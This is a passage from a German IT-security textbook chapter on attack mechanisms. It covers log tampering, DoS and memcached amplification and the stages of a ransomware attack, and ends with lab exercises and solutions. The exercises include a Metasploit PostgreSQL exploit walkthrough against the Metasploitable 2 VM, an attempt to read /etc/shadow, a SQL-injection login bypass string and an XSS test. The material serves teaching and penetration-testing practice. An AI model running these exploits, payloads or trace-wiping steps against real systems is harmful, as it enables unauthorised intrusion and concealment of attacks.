jedoch nicht angezeigt werden. Verschiedene Betriebssysteme behandeln diese Metadaten unterschiedlich. Beim Macintosh (Apple) gab es in den Dateisystemen HFS und HFS+ die Unterscheidung in „Data Fork“ und „Ressouce Fork“. In der „Ressource Fork“ können Dateien mit einem „Invisible-Flag“ versehen werden, sodass
88
4 Angriffsmechanismen
sie von Anwendungsprogrammen nicht dargestellt werden können. Für Forensiker, die auf Festplatten nach solchen Informationen suchen, bleiben derart gespeicherte Dateien jedoch nicht versteckt. Unter Steganografie versteht man die verborgene Speicherung von Daten in Bildern, indem die niederwertigsten Bits eines Bildes manipuliert werden. Ein Betrachter des Bildes wird kaum Verdacht schöpfen, weil die versteckte Information beim Betrachten nicht weiter auffällt. Bildet man jedoch die Differenz zwischen der Ursprünglichen Datei und der modifizierten Version, können die geheimgehaltenen Daten wieder rekonstruiert werden. Dieses Verfahren eignet sich für alle Arten von Daten, die in Bilder verdeckt gespeichert werden können. Die Modifikation eines Bildarchivs einer Einrichtung wäre eine Möglichkeit, den Abfluss von Daten zu verstecken: Zunächst speichert der Angreifer die Bilder, die er über eine Webseite abruft. Im zweiten Schritt werden diese Bilder mit den Möglichkeiten der Steganografie modifiziert und wieder zum Download über die Galerie bereitgestellt. In dritten Schritt werden die modifizierten Bilder erneut abgerufen. Jetzt kann der Angreifer durch Differenzbildung die Daten rekonstruieren.
4.6
Spuren verwischen
In den meisten Betriebssystemen werden alle Aktionen eines Nutzers, vor allem die eines Administrators in Logdateien protokolliert. Demnach hinterlässt jeder Angriff auf ein System entsprechende Spuren. Auf Linux-Systemen können mit den Kommandos „last“ oder „history“ die letzten Befehle eines Nutzers aufgelistet werden. Mit „lastlog“ kann ein Administrator erkennen, wer sich zuletzt wann eingeloggt hat. Das wissen natürlich auch die Angreifer und deshalb versuchen sie, die Spuren eines Angriffs so gut wie möglich zu verwischen. Das Ziel ist also, zu verhindern, dass der Angriff entdeckt wird. Es ist jedoch so gut wie unmöglich, ein vollständig konsistentes Szenario durch Manipulation von Logdateien so konstruieren, dass ein Angriff durch eine forensische Analyse nicht mehr nachgewiesen werden kann. Es gibt zahlreiche Werkzeuge, die diesen Schritt automatisieren. Hier folgt eine Auswahl für das Betriebssystem Windows: • Clear-Eventlog ist ein Windows-Werkzeug, das über die PowerShell aufgerufen werden kann. Der Aufruf mit einem Namen für eine Logdatei löscht alle Einträge aus den angegebenen Ereignisprotokollen auf dem lokalen Computer oder auf Remotecomputern. • Ccleaner.exe löscht temporäre Dateien, Logdateien, Registry-Einträge, Memory-Dumps und temporäre Internetdateien (History). • MRU-Blaster löscht die Liste der zuletzt benutzten Dateien auf einem Windows-System sowie temporäre Internetdateien und Cookies Auditing ausschalten.
4.6
Spuren verwischen
89
• Audipol.exe ist ein Werkzeug von Microsoft mit dem Überwachungsrichtlinien bearbeitet werden können. Dazu zählen auch das Festlegen und Abfragen von Überwachungsoptionen. Das Löschen von Logdateien fällt einem wachsamen Systemadministrator natürlich auf. Trotzdem dient es den Angreifern dazu, den Angriff möglichst lange verborgen zu halten und dafür zu sorgen, dass es für die Cyberabwehr nicht leicht nachvollziehbar ist, welche Veränderungen sie durchgeführt haben. Dass dies in der Regel gut gelingt, zeigen zahlreiche erfolgreiche Angriffe, bei denen Forensiker feststellen konnten, dass sich die Angreifer über Monate und oft Jahre relativ frei in einem Rechnernetz bewegen konnten, ohne dass ein Administrator aufmerksam geworden wäre. Unter Linux werden Logfiles als Textdateien im Verzeichnis „/var/log“ gespeichert. Programme speichern Informationen über ihre Aktivitäten in der Datei „/var/log/messages“. Die Logdateien sind in einer für Menschen lesbaren Form abgelegt und können editiert werden. Systemadministratoren können diese Datei durchforsten, um auf eventuelle Hinweise für verdächtige Aktivitäten zu stoßen. Cyberkriminelle können Informationen aus diesen Dateien mit geeigneten Befehlen manipulieren. Als Gegenmaßnahme zur Log-Manipulation kann eine externe Log-Aggregation dazu genutzt werden, Logdaten revisionssicher zu archivieren. Zu diesem Zweck werden alle Logdaten von Servern, Firewalls, Switchen, Clientrechnern oder Anwendungen auf einem dedizierten Log-Server gesammelt. Sind diese Daten dort gespeichert, können sie nicht mehr gelöscht oder manipuliert werden, sofern die Cyberkriminellen keinen Zugriff auf diesen besonders geschützten Server erlangen. Solche Log-Management-Systeme haben eine Reihe von Vorteilen gegenüber dezentralen Logdateien, die auf den jeweiligen Servern gespeichert werden: • Ein revisionssicheres zentrales Management unterstützt eine Einrichtung bei der Einhaltung von Standards, die bei bestimmten Zertifizierungen gefordert werden. Oft verlangen gesetzliche Vorgaben eine zentrale, revisionssichere Speicherung der Logdaten. • Die meisten Systeme für das Security Information and Event Management (SIEM) setzen auf ein zentrales Log-Management auf. Ein SIEM ist geeignet zur Alarmierung bei detektierten Sicherheitsvorfällen. • Durch den Einsatz eines Log-Managers können komplexe Betriebszustände leichter überwacht oder administriert werden. Auf die in einem Logserver außerhalb des angegriffenen Systems gesammelten Logdaten hat ein Angreifer keinen Zugriff mehr und kann sie demnach auch nicht mehr in seinem Sinne manipulieren. Für die forensische Untersuchung nach einem erfolgreichen Angriff sind diese Logdaten deshalb eine wichtige Informationsquelle.
90
4.7
4 Angriffsmechanismen
Denial-of-Service-Attacken
Denial-of-Service-Attacken (DoS-Attacken) sind absichtlich herbeigeführte Überlastungen eines Webdienstes mit dem Ziel, diesen Dienst funktionsunfähig zu machen und damit Schaden beim Betreiber des Webdienstes zu verursachen. Netzwerkressourcen, wie z. B. Webserver, können nur eine bestimmte Anzahl von Anfragen gleichzeitig verarbeiten. Werden dauerhaft mehr Anfragen abgesetzt, als der Webdienst verarbeiten kann, kommt es zu einem Überlauf. Reguläre Anfragen können in diesem Fall nicht mehr oder nur noch sehr langsam bearbeitet werden, sodass der Dienst für die berechtigten Nutzer nicht mehr oder nur noch eingeschränkt zur Verfügung steht. Im schlimmsten Fall kann ein dauerhafter Überlassungsangriff auch zum Absturz der Server führen. Motivation für Angreifer, DoS-Angriffe durchzuführen, sind vielfältig. Zum Beispiel könnten Angreifer ein Unternehmen, das vom Internet abhängt, dadurch erpressen, dass Einnahmen wegbrechen oder ein Reputationsschaden droht. Diese Erpressung kann mit Börsenmanipulationen verknüpft werden: Da Börsenkurse sehr sensibel auf Dienstunterbrechungen reagieren, könnten Angreifer auf sinkende Börsenkurse wetten und diese durch einen gezielten DoS-Angriff selbst auslösen. Auch politisch motivierte DoS-Angriffe werden immer wieder beobachtet. DoS-Attacken werden vermehrt als Protestaktionen durchgeführt. Einfach zu bedienende Werkzeuge ermöglichen es auch wenig versierten Computernutzern DoS-Attacken zu starten. DoS-Attacken können auch durch unzufriedene Nutzer verursacht werden, die einem Unternehmen einfach „nur“ schaden wollen. Schließlich werden DoS-Attacken auch als begleitende Maßnahme beobachtet, die Cyberkriminelle nutzen, um die Abwehrteams im Falle eines laufenden Ransomwareangriffs zusätzlich zu belasten. DoS-Attacken werden in Deutschland als Computersabotage geahndet (§303b Abs. 1 StGB). Technisch existieren verschiedene Formen von DoS-Attacken: • hping3: Das Werkzeug hping3 hat zum Beispiel mit der Option „- -flood“ die Möglichkeit in Echtzeit eine große Menge von Datenpaketen zu generieren. • SYN-Flooding: In TCP/IP-Netzen werden zum Beginn eines Verbindungsaufbaus SYN/ACK-Pakete ausgetauscht. Wenn ein Angreifer die Absenderadressen fälscht, versucht der Empfänger (das Opfer) dieses Pakets die Verbindung zu einem Rechner im Internet herzustellen, der überhaupt keine Anfrage gesendet hat. Diese Anfrage wird nicht beantwortet und der Empfänger läuft in einen Time-Out, der einige Sekunden dauern kann. Solange dieser Time-Out bearbeitet wird, können zahlreiche weiterer Verbindungsanfragen eintreffen, die das Opfer zusätzlich beschäftigen. Irgendwann sind alle verfügbaren Ressource zur Verarbeitung der Time-Outs verbraucht, sodass reguläre Anfragen nicht mehr bearbeitet werden können. • Ping Flooding: „Ping“-Pakete werden von angefragten Server mit einem „pong“ beantwortet. Diese Antwort verursacht eine Rechenlast und belegt Verbindungsbandbreite. Treffen sehr viele „Ping“-Pakete gleichzeitig ein, wird ein großer Anteil der Rechenkapazität zur Beantwortung dieser Daten-Pakete verschwendet, die regulären Anfragen
4.7
Denial-of-Service-Attacken
91
nicht mehr zur Verfügung steht. Sofern das Opfer mit einer geringeren Bandbreite mit dem Internet verbunden ist als der Angreifer, kann mit Ping-Flooding auch der Internetanschluss überlastet werden. • Broadcast Sturm: Mit einer hohen Zahl an Datenpaketen, die an die Broadcast-Adresse gesendet wird, kann ein Broadcast-Sturm ausgelöst werden, indem die Zahl der Paketkollisionen schlagartig ansteigt. Im schlimmsten Fall bricht der Netzwerkverkehr in einem Netzwerksegment zusammen. • E-Mail-Bombing: Wird eine große Anzahl von Mails an eine Zieladresse gesendet, kann dies einen Mailserver überlasten. Im schlimmsten Fall führt das zur Verstopfung des MailAccounts, insbesondere wenn diese E-Mails mit großen Anhängen versehen sind, die viel Platz im Mail-Account benötigen und zudem durch den Virenschutz bearbeitet werden müssen. Für diese Angriffe existieren einige sehr ausgefeilte Programme, die auch ohne detaillierte Kenntnisse eingesetzt werden können. Durch Fehler in der Implementierung des IP-Stacks, Fehlern in Betriebssystemen oder Schwachstellen in Programmen und Treibern kann es immer wieder zu Systemabstürzen kommen. Die Quelle solcher Pakete lässt sich nur schwer zurückverfolgen, das sich der Weg der Pakete verschleiern lässt. Die Wirkung der DoS-Angriffe kann verstärkt werden, indem die Anfragen von vielen Quellen gleichzeitig ausgesendet werden. In diesem Fall spricht man von einem distributed DoS-Angriff oder kurz auch DDoS (Abb. 4.16). Für DDoS-Angriffe werden oft Botnetze eingesetzt, die auf Kommando ihre DoS-Attacken gleichzeitig starten. DDos-Angriffe können auch über ein Netzwerk von leistungsschwachen Endgeräten ausgelöst werden. Die Wirkung von DDoS-Angriffen kann noch weiter verstärkt werden, indem die Größe der Datenpakete des Angreifers mit einem Trick vervielfacht wird. Die Angreifer versuchen das Opfer mit Internet-Traffic zu überfluten. Bestimmte Protokolle liefern auf Anfragen ein vielfach größeres Antwortpaket als die ursprüngliche Anfrage. Wurde die Absenderadresse bei der Anfrage mit der des Opfers ausgetauscht, werden die Antwortpakete an das Opfer gesendet. Man nennt diese Art der Angriffe auch Amplification-DDoS-Attacke. Eine spezielle Form dieser Angriffe sind Memcached-Amplification-DDoS-Angriffe. Memcached ein Cache-Server-Modul, das freien Arbeitsspeicher eines (Web-)Servers für die Ablage von Daten verwendet. Die Hauptanwendung liegt bei dynamischen Websites, bei dem die Webseiten aus zahlreichen Datenbankabfragen dynamisch zusammengestellt werden. Kommt dieselbe Anfrage noch einmal, kann der Webserver diese Anfrage aus dem Speicher bedienen, was erheblich weniger Ressourcen benötigt. Bei größeren Netzwerkdiensten wie YouTube, Facebook oder Wikipedia wird Memcached eingesetzt, um Milliarden von Anfragen von Nutzern zu beschleunigen. Öffentlich erreichbare Memcached-Server können von Angreifern für diese Art der Angriffe missbraucht werden (Abb. 4.17).
92
Abb. 4.16 Struktur eines DDoS-Angriffs
Abb. 4.17 Struktur eines Memcached-DDoS-Angriffs
4 Angriffsmechanismen
4.8 Typischer Ablauf am Beispiel eines Ransomware-Cyberangriffs
93
Ein Memcached-DDoS-Angriff erfolgt in 5 Schritten: 1. Ein Angreifer sucht einen öffentlich verfügbaren Memcached-Server im Internet. Memcached-Server hören auf den UDP-Port 11211. 2. Der Angreifer platziert die Datennutzlast für seinen Angriff auf diesem Server. 3. Der Angreifer platziert eine „HTTP-GET-Anfrage“ mit der IP-Adresse des Opfers. 4. Der Memcached-Server liefert die Datennutzlast an die in der Anfrage angegebenen IP-Adresse. 5. Der angegriffene Server kann die Datenmenge nicht verarbeiten, bricht unter der Last zusammen und kann reguläre Anfragen nicht mehr beantworten. Die Machbarkeit von Memcached-Angriffen wurde von Hackern im Februar 2018 an GitHub getestet [13]. Unbekannte Angreifer haben über ein Script ca. 17.000 Memcached-Server benutzt, um die GitHub-Server mit 1.35 Tbit zu bombardieren. Nach Angaben von Cloudflare [14] wurden Memcached-Angriffe beobachtet, bei denen aus 15 Byte großen Anfragen Antworten mit 750 kB wurden, was einem Faktor 51,200 entspricht. Für Cyberkriminelle besteht der Vorteil gegenüber einer klassischen DDoS-Attacke darin, dass diese Art von Angriffen auch ohne vorher aufgebautes oder angemietetes Bot-Netz durchgeführt werden kann. Weitere IP-Protokolle, die sich für einen Amplification-DDoS-Angriff eignen, sind DNS und NTP. Die Antwortpakete von DNS- und NTP-Anfragen sind ebenfalls deutlich größer als die Anfragen, auch wenn der Verstärkungsfaktor deutlich geringer ist, die Angreifer bei Memcached-Angriffen erreichen können. Die wichtigste Gegenmaßnahme gegen die missbräuchliche Nutzung vom MemcachedServern besteht darin, diese hinter Firewalls zu platzieren. Auch wenn die Gefahr für diese Angriffe deutlich geringer geworden ist, liefert die Shodan-Suche nach dem Begriff „Memcached“ auch im April 2022 noch 207 IP-Adressen von Servern, die über das Internet erreichbar sind.
4.8
Typischer Ablauf am Beispiel eines Ransomware-Cyberangriffs
Ransomwareangriffe sind neben DDoS-Angriffen zurzeit die häufigsten Cyberangriffe, die weltweit durchgeführt werden. Nachdem Cyberkriminelle erkannt haben, dass sich mit diesen Angriffen viel Geld verdienen lässt, wurden diese Angriffe immer weiter verfeinert. Dabei zeigt sich, dass Ransomwareangriffe immer nach einem ähnlichen Muster ablaufen, das hier noch einmal zusammengefasst werden soll. Im Grunde sind es die in diesem Kapitel vorgestellten Angriffsmechanismen, welche die Cyberkriminellen für einen Angriff nutzen. In Abb. 4.18 ist der typische Ablauf eines solchen Angriffs dargestellt. Der erste Zugriff erfolgt üblicherweise über das klassische Phishing (s. Abschn. 4.2.1), das Erraten schwacher Passwörter (s. Abschn. 4.2.10), gefundene Schwachstellen
94
4 Angriffsmechanismen
Abb. 4.18 Typischer Verlauf eines Ransomwareangriffs
(s. Abschn. 4.2.2) oder Schadsoftware, die über eine E-Mail mit Malware-Anhang eingeschleust wurde (Abschn. 4.2.5). Das Phishing oder das Erraten von Passwörtern hat immer das Ziel, gültige Accounts zu übernehmen, über die die Cyberkriminellen Zugang zum Netzwerk erhalten, das sie angreifen wollen. Neben dem klassischen Phishing per E-Mail sind hier auch Angriffe über Social-Media-Kanäle möglich. Die im Abschn. 4.2.10 vorgestellten Techniken sind geeignet, den Passwortschutz auszuhebeln. Lücken in Diensten, die aus dem Internet erreichbar sind, führen zu einem direkten Zugriff auf die Systeme im Netz des Opfers. Zu diesen Lücken gehören auch Angriffe über SQL-Injection (s. Abschn. 4.2.7), Cross-Site-Scripting beim Surfen mit Dienstrechnern (s. Abschn. 4.2.8) oder Angriffe auf Lücken in Webservern (s. Abschn. 4.2.6). Darüber hinaus gibt es den Weg über Schadsoftware, die als E-Mail-Anhang auf einem E-Mail-Server gespeichert sind, diesen direkt angreifen und den Cyberkriminellen einen Zugang über eine Lücke im Mailserver einrichten. Ist dieser erste Zugang erreicht, werden die Angreifer in der Regel ein Backdoor (s. Abschn. 4.2.11) einrichten, um sich dauerhaften Zugang zu verschaffen. Dort werden sie sich zum Beispiel über das Metaspoit-Framework die Meterpreter-Shell als Steuerserver einrichten, um eine Ausgangsbasis für die weiteren Angriffe zu schaffen. Über Lateral Movement (s. Abschn. 4.3.1) und Privilege Escalation (s. Abschn. 4.3.2) breiten sich die
4.9
Aufgaben & Lösungen zu diesem Kapitel
95
Cyberkriminellen Schritt für Schritt im Netzwerk aus. Dabei achten sie darauf, dass sie nur langsam voranschreiten, um nicht durch besondere Aktivitäten aufzufallen und so wenige Spuren wie möglich zu hinterlassen. Der mögliche Angriff besteht dann im Datendiebstahl (s. Abschn. 4.5), der Vernichtung von Backups und ganz zum Schluss dem eigentlichen Verschlüsselungsangriff. Meist wird ein Angriff erst mit dem Start des Verschlüsselung von einem Administrator entdeckt. Ab hier haben die Angreifer aber auch keine Notwendigkeit mehr, weiterhin im Verborgenen zu bleiben. Im Gegenteil, sie wollen möglichst große Panik verursachen, um das Opfer zur Zahlung des Lösegelds zu bewegen. Dies wird dadurch verstärkt indem die Cyberkriminellen DDoS-Angriffe (s. Abschn. 4.7) starten. Da zu diesem Zeitpunkt höchstens ein Notbetrieb eingerichtet werden kann, ist die Wirkung eines solchen Angriffs besonders fatal. Dieses Szenario, das beispielhaft einen typischen Ablauf eines Angriffs darstellen soll, ist nur eines von vielen. Unter https://attack.mitre.org/ pflegt die MITRE Corporation13 eine umfangreiche Sammlung von Angriffsbeispielen, Abwehrmöglichkeiten und Erkennungsmöglichkeiten, die auf realen Fällen basiert. Diese Wissensbasis mit dem Namen MITRE ATT&CK wird seit 2013 gepflegt und alle zwei Jahre upgedatet. Sie ist unterteilt in die Themenbereiche „Enterprise“, „Mobile“ und „Industrial Control Systems (ICS)“.
4.9
Aufgaben & Lösungen zu diesem Kapitel
4.9.1
Aufgaben
4.1 (P) Recherchieren Sie im Internet nach der Domäne springer.de und versuchen Sie, die folgenden Fragen zu beantworten: 1. 2. 3. 4. 5. 6.
Welche IPv4-Adresse ist der Domäne zugeordnet? Wie ist die registrierte Adresse der Organisation? Wann wurde die Domäne zum ersten Mal erfasst? Wie lautet die Mailadresse des DNS-Admins? Welche TLS-Version wird unterstützt? Welche Tracker werden eingesetzt?
4.2 Was ist keine Phishingvariante? 1. Farming 2. Sniffing 3. Smishing 13 Die MITRE Corporation ist eine Non-Profit-Organisation, die den Auftrag hat, die Cybersicherheit
weltweit zu verbessern. Neben der Wissensbasis MITRE ATT&CK pflegt sie die Liste der CVE (Common Vulnerabilities and Exposures, s. Abschn. 9.2).
96
4 Angriffsmechanismen
4. SEO-Poisoning 5. Whaling 4.3 Bringen Sie die folgenden Angriffsstufen in die richtige Reihenfolge: 1. 2. 3. 4. 5.
Schadfunktion einrichten Zugang zu einem System erlangen Spuren verwischen Dateien manipulieren oder abrufen Privilege Escalation/Lateral Movement
4.4 Welche Aufgabe erfüllt der TCP-Flag ACK (Acknowledge)? 4.5 Wie erkennt ein Angreifer, dass bei einem „SYN-ACK“-Scan ein Port in einem Endgerät geschlossen oder offen ist? 4.6 Nennen Sie einige Scanning-Werkzeuge, die verwendet werden, um die Erreichbarkeit von Systemen zu prüfen. 4.7 Welche der folgenden Aussagen treffen auf „UDP-Scans“ zu? 1. 2. 3. 4.
Das SYN Paket wird unmittelbar durch ein RST beantwortet. Port geschlossen: ICMP Paket mit Destination unreachable. Port offen: Paket wird angenommen und keine Antwort geliefert. Kein Warten auf Time-Out bei geschlossenem Port.
4.8 Wie kann ein Angreifer eine Firewall umgehen, bei der alle eingehenden Ports geschlossen sind? 4.9 Welche Aussage würden nach Ihrer Auffassung einen Angriff über SQL-Injection am besten beschreiben? 1. Ein Angriff, der dazu verwendet wird, unautorisierten Zugriff auf eine Datenbank zu erlangen. 2. Ein Angriff, mit dem der Code in einer Anwendung geändert wird. 3. Ein Man-in-the-Middle-Angriff zwischen dem SQL-Server und dem Webserver. 4. Ein Denial-of-Service-Angriff.
4.9
Aufgaben & Lösungen zu diesem Kapitel
97
4.10 Welche der folgenden Sprachen sind die primären Ziele von Cross-Site-ScriptingAngriffen? 1. 2. 3. 4.
PHP SQL XSLT JavaScript
4.11 Welche der genannten Möglichkeiten gibt es, einen Man-in-the-Middle zu installieren? 1. 2. 3. 4.
Einen modifizierten WLAN-Accesspoint der Angreifer im Netz installieren. Das Netzwerk mitlesen. Einen Hyperlink mit einer Serveradresse in einer E-Mail versenden. Einen modifizierten Switch in einem Datenraum einbauen.
4.12 Welche der genannten Angriffsmethoden auf Passwörter benötigt die meiste Rechenleistung? 1. 2. 3. 4. 5.
Rainbow-Tables Schoulder-Surfing Brute-Force Dictionary Password Spraying
4.13 Beschreiben Sie die Besonderheit einer DDoS-Attacke mithilfe der MemcachedFunktion. 4.14 (P) Auf Ihrem Kali-Rechner ist ein OSINT-Werkzeug mit dem Namen „recon-ng“ installiert. Dieses Werkzeug soll in dieser Übungsaufgabe benutzt werden, um alle Domänen herauszufinden, mit denen ein bestimmtes Unternehmen im Netz vertreten ist. Die Domäne des Unternehmens ist „google.de“ 14 . Starten Sie recon-ng und geben Sie der Reihe nach folgende Kommandos ein: marketplace install hackertarget workspaces create google modules load hackertarget options set SOURCE google.de 14 Recon-ng ist ein passives OSINT-Werkzeug, das zumindest in der Standardkonfiguration lediglich
Informationen sammelt, die ohnehin im Internet verfügbar sind. Trotzdem sollten Sie vorsichtig bei der Auswahl der Domäne für Ihre Untersuchungen sein. Sie könnten immer noch gegen Bestimmungen des jeweiligen Domain-Inhabers verstoßen.
98
4 Angriffsmechanismen
run show hosts dashboard back back Erläutern Sie kurz, was wofür „recon-ng“ eingesetzt werden kann und was jedes dieser Kommandos genau durchführt. 4.15 (P) Melden Sie sich auf Ihrem Testrechner aus Übung 2.7 direkt an der Konsole an und installieren Sie die UFW (Uncomplicated Firewall) über den Befehl: $ sudo apt-get install ufw Aktivieren Sie die UFW über den Befehl $ sudo ufw enable 1. Konfigurieren Sie die Firewall auf Ihrem Testrechner so, dass alle Anfragen auf den Port 23 (ssh) erlaubt ist. 2. Konfigurieren Sie die Firewall so, dass ausgehende IP-Pakete in ihr lokales Netz erlaubt sind. 3. Prüfen Sie auf dem Testrechner den Status der Firewallkonfiguration. 4. Prüfen Sie mit nmap auf Ihrem Kali-Rechner, ob der Port 23 offen ist. 5. Prüfen Sie, ob Sie sich in einem Terminal auf dem Kali-Rechner mit ssh auf dem Testrechner anmelden können. 6. Konfigurieren Sie die Firewall auf Ihrem Testrechner so, dass die Anfragen aus dem Testnetzwerk auf den Port 23 (telnet) erlaubt ist. 7. nmap auf dem Kali-Rechner liefert das Ergebnis: 23/tcp closed telnet Warum? 4.16 (P) Bei dieser Übung soll das Metasploit-Framework (MSF) von Rapid7 [18] zum Einsatz kommen. Die Ausgangslage ist die folgende: Sie haben als Pentester bereits Zugang zu einem Netzwerksegment erhalten und finden mit Ihrem Kali-Rechner einen interessanten Server (Ziel), den Sie sich einmal genauer anschauen wollen. Zu diesem Zweck wollen Sie eine Meterpreter-Shell auf dem Zielsystem starten. Die Zielmaschine ist Metasploitable 2, die ebenfalls von Rapid7 zur Verfügung gestellt wird [19]. Sie kann unter https://sourceforge.net/projects/metasploitable als virtuelle Maschine heruntergeladen werden. Das VMware-Image lässt sich sowohl mit dem VMwarePlayer als auch unter Virtual Box ausführen. Vorsicht: die virtuelle Maschine Metasploitable basiert auf einem uralten Linux, für das es schon lange keine Updates mehr gibt. Sie
4.9
Aufgaben & Lösungen zu diesem Kapitel
99
ist außerdem so konfiguriert, dass sie einige Löcher und Fehlkonfigurationen beinhaltet. Deshalb sollte Metasploitable niemals in einem öffentlich zugänglichen Netzwerksegment betrieben werden! Das Metasploit-Framework (MSF) ist auf dem Kali-Rechner bereits vorinstalliert, sodass es nur noch gestartet werden muss. Anschließend können Sie die folgenden Befehle in MSF eingeben: 1. msf6> workspace -a metasploitable legt den Kontext für diese Übungsaufgabe an. 2. msf6> db_nmap -sS 192.168.2.189 macht einen nmap-Scan auf den MetasploitableRechner, der in dieser Aufgabe die IP 192.168.2.189 besitzt. die Präfix „db_“ legt fest, dass das Ergebnis in der Datenbank zu diesem Kontext gespeichert wird, sodass es jederzeit wieder abgerufen werden kann, ohne erneut einen nmap-Scan durchführen zu müssen. 3. msf6> services listet alle offenen Ports und die darüber erreichbaren Dienste auf der Zielmaschine auf. Unter den aufgeführten Diensten wird eine PostgreSQL-Datenbank in der Version 8.3.1 gelistet, für die ein Exploit existiert. 4. msf6> search postgresql liefert Hintergrundinformationen zu diesem Exploit. 5. msf6> use exploit/unix/postgres/postgres_payload wählt diesen Exploit aus. 6. msf6> set LHOST legt die IP-Adresse für den KaliRechner fest. 7. msf6> set RHOST legt die IP-Adresse für das Ziel fest. 8. msf6> set RPORT legt den Port für den Angriff fest. 9. msf6> exploit führt den Exploit aus. Ab dieser Stelle wird die Meterpreter-Shell auf dem Zielsystem ausgeführt. Mit dem Kommando help können Sie sich alle verfügbaren Befehle anzeigen lassen. Warum können Sie die Datei /etc/shadow mit den Passworthashes nicht lesen? 4.17 (P) Auf der Zielmaschine Metasploitable 2 ist ein Webserver installiert, der im Subnetz über einem Browser und die IP-Adresse des Metasploitable-Rechners aufgerufen werden kann. Dort finden Sie den Link Mutillidae. Es öffnet sich die Webseite „Mutillidae: Born to be Hacked“ 15 Versuchen Sie sich bei dieser Seite über eine SQL-Injection als User „admin“ anzumelden.
15 In der aktuellen Version hat sich in Metasploitable 2 ein Konfigurationsfehler eingeschlichen, den
Sie beheben müssen, bevor die Datenbank korrekt funktioniert: Melden Sie sich als msfadmin an und führen den Befehl „sudo nano /var/www/mutillidae/config.inc“ aus. Dort ersetzen Sie in der Zeile „$dbname =“ den Eintrag metasploit‘ durch owasp10‘ und speichern die Datei mit „Ctrl+X“. ’ ’ Danach starten Sie den Apache Server neu: „sudo /etc./init.d/apache2 reload“ und klicken auf der Mutillidae-Webseite auf „Reset DB“. Anschließend sollte alles wie erwartet funktionieren.
100
4 Angriffsmechanismen
4.18 (P) Bei der Webapplikation „Mutillidae“ wird bei der Registrierung eines neuen Accounts ein Kommentarfeld „Signature“ angezeigt. Versuchen Sie hier eine Cross-SiteScripting-Attacke, indem Sie bei der Einrichtung eines Accounts einen Alert-Code (JavaScript) einfügen. Was passiert später bei der Anmeldung?
4.9.2
Lösungen
4.1 Über die Webseite https://sitereport.netcraft.com lassen sich zur URL https://www. springer.de folgende Informationen abrufen: 1. IPv4-Adresse: 199.232.24.95 2. Registrierte Adresse: Springer Nature B.V., van Godewijckstraat 30, Dordrecht, 3311 GX, Netherlands 3. Date first seen: December 1995 4. Mailadresse des DNS-Admins: [email protected] 5. TLS-Version: TLSv1.3 6. Tracker: Googletagmanager und Googlewidget 4.2 Sniffing (2.) ist keine Phishingvariante, sonder es bezieht sich auf das Abhören einer Datenkommunikation. 4.3 Reihenfolge: 2., 5., 1., 4., 3. 4.4 Bestätigt den Empfang eines TCP/IP-Pakets. 4.5 Da es sich beim Datenaufbau mit einem „SYN-ACK“-Datenpaket um einen Protokollfehler handelt, antwortet das Ziel entweder mit einem „RST“ (Port geschlossen) oder verwirft das Paket und antwortet deshalb gar nicht (Port offen). 4.6 Scanning-Werkzeuge: • • • • •
ping traceroute (oder tracert) pathping (auf Windows-Systemen) hping3 nmap
4.7 Antworten 2. und 3.
4.9
Aufgaben & Lösungen zu diesem Kapitel
101
4.8 Mithilfe von E-Mail-Anhängen oder Links auf Webseiten mit Schadsoftware. Klickt das Opfer darauf, öffnet es eine ausgehende Verbindung auf die Server der Angreifer (zum Beispiel über Port 80), sodass die Firewall die Antwort durchlässt. In der Antwort kann die Schadsoftware versteckt sein. 4.9 Antwort 1. 4.10 Antwort 4. 4.11 Antworten 1., 3. und 4. 4.12 Antwort 3. 4.13 Es wird ausgenutzt, dass die Funktion auf eine kleine Anfrage ein wesentlich größeres Antwortpaket schickt. Wird dieses durch eine gefälschte Absenderadresse auf einen Zielhost gelenkt, wird eine Verstärkung des Angriffs erreicht. 4.14 Das OSINT-Werkzeug „recon-ng“ dient dem Sammeln von öffentlich verfügbaren Informationen über ein potenzielles Ziel, ohne das Ziel direkt zu scannen. Es kann verschiedene Kontexte (workplaces) speichern und diverse Module für spezielle OSINT-Aufgaben laden. Die Daten werden in einer Datenbank verwaltet. Die einzelnen Kommandos haben folgende Funktion: • marketplace install hackertarget: lädt das Modul „hackertarget“ und integriert es in recon-ng. • workspaces create google: generiert einen Kontext für die gesammelten Ergebnisse für die Domäne „google.de“. • modules load hackertarget: aktiviert das installierte Modul „hackertarget“ für die aktuelle Suche. • options set SOURCE google.de: setzt die Domäne für den nächsten Suchlauf auf „google.de“. • run: startet den Suchlauf aller Server, die „google.de“ enthalten. • show hosts: zeigt die Ergebnisse des Suchlaufs. • dashboard: zeigt alles, was bisher im Kontext „google.de“ gefunden wurde. • back: verlässt das Modul „hackertarget“. • back: verlässt das Programm „recon-ng“. 4.15 Konfiguration der Firewall: 1. Der Befehl für die entsprechende Regel lautet: $ sudo ufw allow ssh
102
4 Angriffsmechanismen
2. Falls Ihr lokales Netz die Adresse 192.168.2.0/24 hat, lautet der Befehl: $ sudo ufw allow out to 192.168.2.0/24 3. auf dem Testrechner sollte der Befehl $ sudo ufw status folgendes Ergebnis liefern: To -22/tcp 22/tcp (v6)
Action -----ALLOW ALLOW
From ---Anywhere Anywhere (v6)
192.168.2.0/24
ALLOW OUT
Anywhere
4. Der nmap-Befehl auf dem Kali-Rechner sollte folgendes Ergebnis liefern: 22/tcp open ssh 5. Das Anmelden über SSH sollte wieder funktionieren. 4.16 Sie können die Datei zwar mit dem Befehl „ls“ auflisten, aber Sie haben nicht die notwendigen Rechte um die Datei auch zu lesen. Der Befehl „getuid“ zeigt, dass Sie als User „postgres“ angemeldet sind. Für das Lesen der Shadow-Datei bräuchten Sie RootRechte. In der Übung 10.11 wird ein alternativer Weg vorgestellt, wie die Shadow-Datei trotzdem ausgelesen werden kann. 4.17 Die Eingabe im Passwortfeld lautet: irgendwas’ OR ’1=1 Achten Sie darauf, dass die Hochkommata genau so angegeben sind. Hat die Anmeldung geklappt, sollten Sie oben rechts die Meldung „Logged In Admin: admin (Monkey!)“ sehen. 4.18 Die Eingabe des Scripts
im Signatur-Feld wird ohne Fehlermeldung bei der Registrierung eines neuen Accounts in der Datenbank abgelegt. Meldet sich der User mit den angegebenen Daten an, erscheint ein Dialogfeld mit einer entsprechenden Meldung!
Literatur 1. Kwiatkowski, I., Delcher, P., Aime, F.: Lazarus on the hunt for big game. https://securelist.com/ lazarus-on-the-hunt-for-big-game/97757/ (2020). Aufgerufen am 24. Apr. 2022
Literatur
103
